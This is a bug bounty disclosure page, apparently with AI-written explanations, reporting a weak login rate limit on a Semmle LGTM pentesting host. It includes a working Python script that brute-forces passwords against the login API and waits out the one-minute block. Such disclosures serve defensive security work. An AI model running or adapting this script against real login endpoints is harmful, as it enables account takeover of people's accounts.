the login blocking mechanism does not work correctly
The login blocking mechanism does not work correctly because it blocks the login for 1 minute and allows you to sign in again many times with specific pattern by allowing login 2 or 3 times after 1 minute. An attacker could use this to perform a brute-force attack and potentially take over a user account.
- Disclosed after 16 days
Summary:
The login block mechanism does not work correctly because it blocks the login for 1 minute and allows you to sign in again many times with specific pattern by allowing login 2 or 3 times after 1 minute
Exploitation
- open https://lgtm-com.pentesting.semmle.net/
- try to login with valid E-mail and do not use the correct password
- user proxy to intercept requests
- extract nonce parameter and cookies
- add email and passwords list and the values your are extracted at the following script
python3
import requests
import time
with open('passwords list path', 'r') as passwords:
passwd_index = 0
for passwd in passwords:
passwd = passwd.split('\n')[0]
HEADERS = {
'Host': 'lgtm-com.pentesting.semmle.net',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '238',
'Cookie': ''
}
DATA = {
'email': 'your valid email',
'password': passwd,
'nonce': '',
'apiVersion': 'b5b3337fa392c83c27f4e05efc4ccbcb2dcf6cbf'
}
login = requests.post('https://lgtm-com.pentesting.semmle.net/internal_api/v0.2/login', headers=HEADERS, data=DATA)
if login.status_code == 200:
print(f'[#] {passwd}')
break
elif login.status_code == 400:
print('[!] sleep 60s')
time.sleep(60)
elif login.status_code == 401:
print(f'[{passwd_index}] {passwd}')
time.sleep(5)
else:
print(login.status_code)
passwd_index += 1
Then watch the results
Impact
Can take over user account
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the rate-limiting mechanism resets after a short period and permits a small number of attempts before blocking again, allowing an attacker to cycle through attempts indefinitely.
Impact
An attacker could take over a user account by brute-forcing the password.
What the attacker needed
A valid email address; a list of passwords; ability to intercept requests
How it was found
- Open the target login page.
- Attempt to log in with a valid email and an incorrect password.
- Use a proxy to intercept the login request.
- Extract the nonce parameter and cookies from the request.
- Run a script that iterates through a list of passwords, sending login requests with the extracted nonce and cookies, and sleeping for 60 seconds when a 400 status is received.
- Observe the results to see if the correct password is found.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A login block is meant to stop someone from guessing passwords by trying many combinations quickly. Here, the block only lasts for one minute and then allows a few more attempts, so an attacker can keep trying passwords in a loop. This could let them eventually guess the right password and access someone else's account.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.